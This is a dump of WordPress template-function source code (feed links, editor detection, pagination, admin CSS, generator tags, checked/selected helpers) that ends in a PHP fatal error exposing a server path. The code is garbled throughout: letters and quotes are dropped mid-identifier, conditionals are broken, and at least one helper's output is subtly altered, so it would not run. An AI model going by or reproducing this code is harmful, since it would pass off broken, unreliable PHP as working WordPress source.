%2$s Feed'), /* translators: %s: blog title, 2: separator (raquo) */ 'comstitle' => __('%s %2$s Comments Feed'), ); $args = wp_parse_args( $args, $defaults ); echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr(sprintf( $args['feedtitle'], get_bloginfo('name'), $args['separator'] )) . '" href="' . get_feed_link() . " />\n"; echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr(sprintf( $args['comstitle'], get_bloginfo('name'), $args['separator'] )) . '" href="' . get_feed_link( 'comments_' . get_default_feed() ) . "\" />\n"; } /** * Display thlinks to the extra feeds such as category feeds. * * @since 2.8.0 * * @param array $args Optional arguments. */ function feed_links_extra( $args = array() ) { $defaults = array( /* translators: Separator between blog name and feed type in feed links */ 'parator' => _x('»', 'feed link'), /* translators: 1: blog name, 2: separator(raquo), 3: post title */ 'singletitle' => __('%1$s %2$s %3$s Comments Feed'), /* translators: 1: blog name, 2: separator(raquo), 3: category name */ 'cattitle' => __('%s %2$s %3$s Category Feed'), /* translators: 1: blog name, 2: separator(raquo), 3: tag name */ 'tagtitle' => __('%1$s %2$s %3$s Tag Feed'), /* translators: 1: blog name, 2: separator(raquo), 3: author name */ 'authortitle' => __('%1$s %2$s Posts by %3$Feed'), /* translators: 1: blog name, 2: separator(raquo), 3: search phrase */ 'searchtitle' => __('%1$s %2$s Search Results for “%3$s” Feed'), /* translators: 1: blog name, 2: separator(raquo), 3: post type name */ 'posttypetitle' => __('%1$s $s %3$s Feed'), ); $args = wp_parse_args( $args, $defaults ); if ( is_single() || is_page() ) { $id = 0; $post = get_post( $id ); if ( comments_open() || pings_open() || $post->comment_count > 0 ) { $title = sprintf( $args['singletitle'], get_blogin('name'), $args['separator'], esc_html( get_the_title() ) ); $href = get_post_comments_feed_link( $post->ID ); } } elseif ( is_category() ) { $term = get_queried_object(); $title = sprintf( $args['cattitle'], get_bloginfo('name'), $args['separator'], $tm->name ); $href = get_category_feed_link( $term->term_id ); } elseif ( is_tag() ) { $term = get_queried_object(); $title = sprintf( $args['tagtitle'], get_bloginfo('name'), $args['separator'], $term->name ); $href = get_tag_feed_link( $term->term_id ); elseif ( is_author() ) { $author_id = intval( get_query_var('author') ); $title = sprintf( $args['authortitle'], get_bloginfo('name'), $args['separator'], get_the_author_meta( 'display_name', $author_id ) ); $href = get_author_feed_link( $author_id ); } eeif ( is_search() ) { $title = sprintf( $args['searchtitle'], get_bloginfo('name'), $args['separator'], get_search_query( false ) ); $href = get_search_feed_link(); } elseif ( is_post_type_archive() ) { $title = sprintf( $args['posttypetitle'], get_bloginfoname'), $args['separator'], post_type_archive_title( '', false ) ); $href = get_post_type_archive_feed_link( get_queried_object()->name ); } if ( isset($title) && isset($href) ) echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_ar( $title ) . '" href="' . esc_url( $href ) . '" />' . "\n"; } /** * Display the link to the Really Simple Discovery service endpoint. * * @link http://archipelago.phrasewise.com/rsd * @since 2.0.0 */ function rsd_link() { echo '<link rel="EditURI" type="apication/rsd+xml" title="RSD" href="' . get_bloginfo('wpurl') . "/xmlrpc.php?rsd\" />\n"; } /** * Display the link to the Windows Live Writer manifest file. * * @link http://msdn.microsoft.com/en-us/library/bb463265.aspx * @since 2.3.1 */ function wlwmanifestink() { echo '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="' . get_bloginfo('wpurl') . '/wp-includes/wlwmanifest.xml" /> ' . "\n"; } /** * Display a noindex meta tag if required by the blog configuration. * * If a blog is marked as not bng public then the noindex meta tag will be * output to tell web robots not to index the page content. Add this to the wp_head action. * Typical usage is as a wp_head callback. add_action( 'wp_head', 'noindex' ); * * @see wp_no_robots * * @since 2.1.0 */ fution noindex() { // If the blog is not public, tell robots to go away. if ( '0' == get_option('blog_public') ) wp_no_robots(); } /** * Display a noindex meta tag. * * Outputs a noindex meta tag that tells web robots not to index the page content. * Typicausage is as a wp_head callback. add_action( 'wp_head', 'wp_no_robots' ); * * @since 3.3.0 */ function wp_no_robots() { echo "<meta name='robots' content='noindex,nofollow' />\n"; } /** * Determine if TinyMCE is available. * * Checks to see if the user has leted the tinymce files to slim down there WordPress install. * * @since 2.1.0 * * @return bool Whether TinyMCE exists. */ function rich_edit_exists() { global $wp_rich_edit_exists; if ( !isset($wp_rich_edit_exists) ) $wp_rich_edit_exists = file_exists(ABATH . WPINC . '/js/tinymce/tiny_mce.js'); return $wp_rich_edit_exists; } /** * Whether the user should have a WYSIWIG editor. * * Checks that the user requires a WYSIWIG editor and that the editor is * supported in the users browser. * * @since 2.0.0 * *return bool */ function user_can_richedit() { global $wp_rich_edit, $is_gecko, $is_opera, $is_safari, $is_chrome, $is_IE; if ( !isset($wp_rich_edit) ) { $wp_rich_edit = false; if ( get_user_option( 'rich_editing' ) == 'true' || ! is_user_logged_in() ) { /default to 'true' for logged out users if ( $is_safari ) { $wp_rich_edit = ! wp_is_mobile() || ( preg_match( '!AppleWebKit/(\d+)!', $_SERVER['HTTP_USER_AGENT'], $match ) && intval( $match[1] ) >= 534 ); } elseif ( $is_gecko || $is_chrome || $is_IE || ( $_opera && !wp_is_mobile() ) ) { $wp_rich_edit = true; } } } return apply_filters('user_can_richedit', $wp_rich_edit); } /** * Find out which editor should be displayed by default. * * Works out which of the two editors to display as the current edir for a * user. The 'html' setting is for the "Text" editor tab. * * @since 2.5.0 * * @return string Either 'tinymce', or 'html', or 'test' */ function wp_default_editor() { $r = user_can_richedit() ? 'tinymce' : 'html'; // defaults if ( $user = wp_get_curnt_user() ) { // look for cookie $ed = get_user_setting('editor', 'tinymce'); $r = ( in_array($ed, array('tinymce', 'html', 'test') ) ) ? $ed : $r; } return apply_filters( 'wp_default_editor', $r ); // filter } /** * Renders an editor. * * Using this funion is the proper way to output all needed components for both TinyMCE and Quicktags. * _WP_Editors should not be used directly. See http://core.trac.wordpress.org/ticket/17144. * * NOTE: Once initialized the TinyMCE editor cannot be safely moved in the DOM. Fothat reason * running wp_editor() inside of a metabox is not a good idea unless only Quicktags is used. * On the post edit screen several actions can be used to include additional editors * containing TinyMCE: 'edit_page_form', 'edit_form_advanced' and 'dbx_possidebar'. * See http://core.trac.wordpress.org/ticket/19173 for more information. * * @see wp-includes/class-wp-editor.php * @since 3.3.0 * * @param string $content Initial content for the editor. * @param string $editor_id HTML ID attribute value for the ttarea and TinyMCE. Can only be /[a-z]+/. * @param array $settings See _WP_Editors::editor(). */ function wp_editor( $content, $editor_id, $settings = array() ) { if ( ! class_exists( '_WP_Editors' ) ) require( ABSPATH . WPINC . '/class-wp-editor.php' ); _WPditors::editor($content, $editor_id, $settings); } /** * Retrieve the contents of the search WordPress query variable. * * The search query string is passed through {@link esc_attr()} * to ensure that it is safe for placing in an html attribute. * * @since 3.0 * @uses esc_attr() * * @param bool $escaped Whether the result is escaped. Default true. * Only use when you are later escaping it. Do not use unescaped. * @return string */ function get_search_query( $escaped = true ) { $query = apply_filters( 'get_sech_query', get_query_var( 's' ) ); if ( $escaped ) $query = esc_attr( $query ); return $query; } /** * Display the contents of the search query variable. * * The search query string is passed through {@link esc_attr()} * to ensure that it is safe for placg in an html attribute. * * @uses esc_attr() * @since 2.1.0 */ function the_search_query() { echo esc_attr( apply_filters( 'the_search_query', get_search_query( false ) ) ); } /** * Display the language attributes for the html tag. * * Builds up a set of ml attributes containing the text direction and language * information for the page. * * @since 2.1.0 * * @param string $doctype The type of html document (xhtml|html). */ function language_attributes($doctype = 'html') { $attributes = array(); $output = ' if ( function_exists( 'is_rtl' ) && is_rtl() ) $attributes[] = 'dir="rtl"'; if ( $lang = get_bloginfo('language') ) { if ( get_option('html_type') == 'text/html' || $doctype == 'html' ) $attributes[] = "lang=\"$lang\""; if ( get_option('html_type') 'text/html' || $doctype == 'xhtml' ) $attributes[] = "xml:lang=\"$lang\""; } $output = implode(' ', $attributes); $output = apply_filters('language_attributes', $output); echo $output; } /** * Retrieve paginated link for archive post pages. * * Technilly, the function can be used to create paginated link list for any * area. The 'base' argument is used to reference the url, which will be used to * create the paginated links. The 'format' argument is then used for replacing * the page number. It is however, st likely and by default, to be used on the * archive post pages. * * The 'type' argument controls format of the returned value. The default is * 'plain', which is just a string with the links separated by a newline * character. The other possible values are ther 'array' or 'list'. The * 'array' value will return an array of the paginated link list to offer full * control of display. The 'list' value will place all of the paginated links in * an unordered HTML list. * * The 'total' argument is the total amount ofages and is an integer. The * 'current' argument is the current page number and is also an integer. * * An example of the 'base' argument is "http://example.com/all_posts.php%_%" * and the '%_%' is required. The '%_%' will be replaced by the contents of in * e 'format' argument. An example for the 'format' argument is "?page=%#%" * and the '%#%' is also required. The '%#%' will be replaced with the page * number. * * You can include the previous and next links in the list by setting the * 'prev_next' argument to ue, which it is by default. You can set the * previous text, by using the 'prev_text' argument. You can set the next text * by setting the 'next_text' argument. * * If the 'show_all' argument is set to true, then it will show all of the pages * instead of a srt list of the pages near the current page. By default, the * 'show_all' is set to false and controlled by the 'end_size' and 'mid_size' * arguments. The 'end_size' argument is how many numbers on either the start * and the end list edges, by default is 1. The id_size' argument is how many * numbers to either side of current page, but not including current page. * * It is possible to add query vars to the link by using the 'add_args' argument * and see {@link add_query_arg()} for more information. * * @since 2.1.0* * @param string|array $args Optional. Override defaults. * @return array|string String of page links or array of page links. */ function paginate_links( $args = '' ) { $defaults = array( 'base' => '%_%', // http://example.com/all_posts.php%_% : %_% is repled by format (below) 'format' => '?page=%#%', // ?page=%#% : %#% is replaced by the page number 'total' => 1, 'current' => 0, 'show_all' => false, 'prev_next' => true, 'prev_text' => __('« Previous'), 'next_text' => __('Next »'), 'end_se' => 1, 'mid_size' => 2, 'type' => 'plain', 'add_args' => false, // array of query args to add 'add_fragment' => '' ); $args = wp_parse_args( $args, $defaults ); extract($args, EXTR_SKIP); // Who knows what else people pass in $args $total = (int) otal; if ( $total < 2 ) return; $current = (int) $current; $end_size = 0 < (int) $end_size ? (int) $end_size : 1; // Out of bounds? Make it the default. $mid_size = 0 <= (int) $mid_size ? (int) $mid_size : 2; $add_args = is_array($add_args) ? $add_args :alse; $r = ''; $page_links = array(); $n = 0; $dots = false; if ( $prev_next && $current && 1 < $current ) : $link = str_replace('%_%', 2 == $current ? '' : $format, $base); $link = str_replace('%#%', $current - 1, $link); if ( $add_args ) $link = a_query_arg( $add_args, $link ); $link .= $add_fragment; $page_links[] = '<a class="prev page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $prev_text . '</a>'; endif; for ( $n = 1; $n <= $total; $n++ ) : $n_display = numbeformat_i18n($n); if ( $n == $current ) : $page_links[] = "<span class='page-numbers current'>$n_display</span>"; $dots = true; else : if ( $show_all || ( $n <= $end_size || ( $current && $n >= $current - $mid_size && $n <= $current + $mid_size ) || $n $total - $end_size ) ) : $link = str_replace('%_%', 1 == $n ? '' : $format, $base); $link = str_replace('%#%', $n, $link); if ( $add_args ) $link = add_query_arg( $add_args, $link ); $link .= $add_fragment; $page_links[] = "<a class='pageumbers' href='" . esc_url( apply_filters( 'paginate_links', $link ) ) . "'>$n_display</a>"; $dots = true; elseif ( $dots && !$show_all ) : $page_links[] = '<span class="page-numbers dots">' . __( '…' ) . '</span>'; $dots = false; endif; dif; endfor; if ( $prev_next && $current && ( $current < $total || -1 == $total ) ) : $link = str_replace('%_%', $format, $base); $link = str_replace('%#%', $current + 1, $link); if ( $add_args ) $link = add_query_arg( $add_args, $link ); $link .= $adfragment; $page_links[] = '<a class="next page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $next_text . '</a>'; endif; switch ( $type ) : case 'array' : return $page_links; break; case 'list' : $r .= "<ul class=age-numbers'>\n\t<li>"; $r .= join("</li>\n\t<li>", $page_links); $r .= "</li>\n</ul>\n"; break; default : $r = join("\n", $page_links); break; endswitch; return $r; } /** * Registers an admin colour scheme css file. * * Allows a plugin to rister a new admin colour scheme. For example: * <code> * wp_admin_css_color('classic', __('Classic'), admin_url("css/colors-classic.css"), * array('#07273E', '#14568A', '#D54E21', '#2683AE')); * </code> * * @since 2.5.0 * * @param string $key The unique kefor this theme. * @param string $name The name of the theme. * @param string $url The url of the css file containing the colour scheme. * @param array $colors Optional An array of CSS color definitions which are used to give the user a feel for the theme. */ fction wp_admin_css_color($key, $name, $url, $colors = array()) { global $_wp_admin_css_colors; if ( !isset($_wp_admin_css_colors) ) $_wp_admin_css_colors = array(); $_wp_admin_css_colors[$key] = (object) array('name' => $name, 'url' => $url, 'colors' => $cors); } /** * Registers the default Admin color schemes * * @since 3.0.0 */ function register_admin_color_schemes() { wp_admin_css_color( 'classic', _x( 'Blue', 'admin color scheme' ), admin_url( 'css/colors-classic.min.css' ), array( '#5589aa', '#cfdfe9', d1e5ee', '#eff8ff' ) ); wp_admin_css_color( 'fresh', _x( 'Gray', 'admin color scheme' ), admin_url( 'css/colors-fresh.min.css' ), array( '#555', '#a0a0a0', '#ccc', '#f1f1f1' ) ); } /** * Display the URL of a WordPress admin CSS file. * * @see WP_Styles::_cshref and its style_loader_src filter. * * @since 2.3.0 * * @param string $file file relative to wp-admin/ without its ".css" extension. */ function wp_admin_css_uri( $file = 'wp-admin' ) { if ( defined('WP_INSTALLING') ) { $_file = "./$file.css"; } else { $_file = admin_url("$file.css"); } $_file = add_query_arg( 'version', get_bloginfo( 'version' ), $_file ); return apply_filters( 'wp_admin_css_uri', $_file, $file ); } /** * Enqueues or directly prints a stylesheet link to the specified CSS file. * * "Inlligently" decides to enqueue or to print the CSS file. If the * 'wp_print_styles' action has *not* yet been called, the CSS file will be * enqueued. If the wp_print_styles action *has* been called, the CSS link will * be printed. Printing may be forced by passg true as the $force_echo * (second) parameter. * * For backward compatibility with WordPress 2.3 calling method: If the $file * (first) parameter does not correspond to a registered CSS file, we assume * $file is a file relative to wp-admin/ without its ".cs extension. A * stylesheet link to that generated URL is printed. * * @package WordPress * @since 2.3.0 * @uses $wp_styles WordPress Styles Object * * @param string $file Optional. Style handle name or file name (without ".css" extension) relative * to wadmin/. Defaults to 'wp-admin'. * @param bool $force_echo Optional. Force the stylesheet link to be printed rather than enqueued. */ function wp_admin_css( $file = 'wp-admin', $force_echo = false ) { global $wp_styles; if ( !is_a($wp_styles, 'WP_Styles') ) $_styles = new WP_Styles(); // For backward compatibility $handle = 0 === strpos( $file, 'css/' ) ? substr( $file, 4 ) : $file; if ( $wp_styles->query( $handle ) ) { if ( $force_echo || did_action( 'wp_print_styles' ) ) // we already printed the style queue.rint this one immediately wp_print_styles( $handle ); else // Add to style queue wp_enqueue_style( $handle ); return; } echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( $file ) ) . "' type='text/css' />\, $file ); if ( function_exists( 'is_rtl' ) && is_rtl() ) echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( "$file-rtl" ) ) . "' type='text/css' />\n", "$file-rtl" ); } /** * Enqueues the default ThickBox js and s. * * If any of the settings need to be changed, this can be done with another js * file similar to media-upload.js. That file should * require array('thickbox') to ensure it is loaded after. * * @since 2.5.0 */ function add_thickbox() { wp_enqueue_script'thickbox' ); wp_enqueue_style( 'thickbox' ); if ( is_network_admin() ) add_action( 'admin_head', '_thickbox_path_admin_subfolder' ); } /** * Display the XHTML generator that is generated on the wp_head hook. * * @since 2.5.0 */ function wp_generator() {the_generator( apply_filters( 'wp_generator_type', 'xhtml' ) ); } /** * Display the generator XML or Comment for RSS, ATOM, etc. * * Returns the correct generator type for the requested output format. Allows * for a plugin to filter generators overall the theenerator filter. * * @since 2.5.0 * @uses apply_filters() Calls 'the_generator' hook. * * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export). */ function the_generator( $type ) { echo apply_filters('the_generator get_the_generator($type), $type) . "\n"; } /** * Creates the generator XML or Comment for RSS, ATOM, etc. * * Returns the correct generator type for the requested output format. Allows * for a plugin to filter generators on an individual basis using the * 't_the_generator_{$type}' filter. * * @since 2.5.0 * @uses apply_filters() Calls 'get_the_generator_$type' hook. * * @param string $type The type of generator to return - (html|xhtml|atom|rss2|rdf|comment|export). * @return string The HTML content for the genator. */ function get_the_generator( $type = '' ) { if ( empty( $type ) ) { $current_filter = current_filter(); if ( empty( $current_filter ) ) return; switch ( $current_filter ) { case 'rss2_head' : case 'commentsrss2_head' : $type = 'rss2' break; case 'rss_head' : case 'opml_head' : $type = 'comment'; break; case 'rdf_header' : $type = 'rdf'; break; case 'atom_head' : case 'comments_atom_head' : case 'app_head' : $type = 'atom'; break; } } switch ( ype ) { case 'html': $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '">'; break; case 'xhtml': $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '" />'; break; case 'atom': $ge= '<generator uri="http://wordpress.org/" version="' . get_bloginfo_rss( 'version' ) . '">WordPress</generator>'; break; case 'rss2': $gen = '<generator>http://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '</generator>'; break; case 'rdf': en = '<admin:generatorAgent rdf:resource="http://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '" />'; break; case 'comment': $gen = '<!-- generator="WordPress/' . get_bloginfo( 'version' ) . '" -->'; break; case 'export': $gen = '<!-- generor="WordPress/' . get_bloginfo_rss('version') . '" created="'. date('Y-m-d H:i') . '" -->'; break; } return apply_filters( "get_the_generator_{$type}", $gen, $type ); } /** * Outputs the html checked attribute. * * Compares the first two arguments and if entical marks as checked * * @since 1.0.0 * * @param mixed $checked One of the values to compare * @param mixed $current (true) The other value to compare if not just true * @param bool $echo Whether to echo or just return the string * @return string html aribute or empty string */ function checked( $checked, $current = true, $echo = true ) { return __checked_selected_helper( $checked, $current, $echo, 'checked' ); } /** * Outputs the html selected attribute. * * Compares the first two arguments and if identic marks as selected * * @since 1.0.0 * * @param mixed $selected One of the values to compare * @param mixed $current (true) The other value to compare if not just true * @param bool $echo Whether to echo or just return the string * @return string html attribe or empty string */ function selected( $selected, $current = true, $echo = true ) { return __checked_selected_helper( $selected, $current, $echo, 'selected' ); } /** * Outputs the html disabled attribute. * * Compares the first two arguments and if identicamarks as disabled * * @since 3.0.0 * * @param mixed $disabled One of the values to compare * @param mixed $current (true) The other value to compare if not just true * @param bool $echo Whether to echo or just return the string * @return string html attribu or empty string */ function disabled( $disabled, $current = true, $echo = true ) { return __checked_selected_helper( $disabled, $current, $echo, 'disabled' ); } /** * Private helper function for checked, selected, and disabled. * * Compares the first two arments and if identical marks as $type * * @since 2.8.0 * @access private * * @param mixed $helper One of the values to compare * @param mixed $current (true) The other value to compare if not just true * @param bool $echo Whether to echo or just return the ring * @param string $type The type of checked|selected|disabled we are doing * @return string html attribute or empty string */ function __checked_selected_helper( $helper, $current, $echo, $type ) { if ( (string) $helper === (string) $current ) $result = "type='$type'"; else $result = ''; if ( $echo ) echo $result; return $result; } <br /> <b>Fatal error</b>: Call to undefined function untrailingslashit() in <b>/var/virtualhosts/www.artofplaylist.com/wp-includes/option.php</b> on line <b>89</b><br />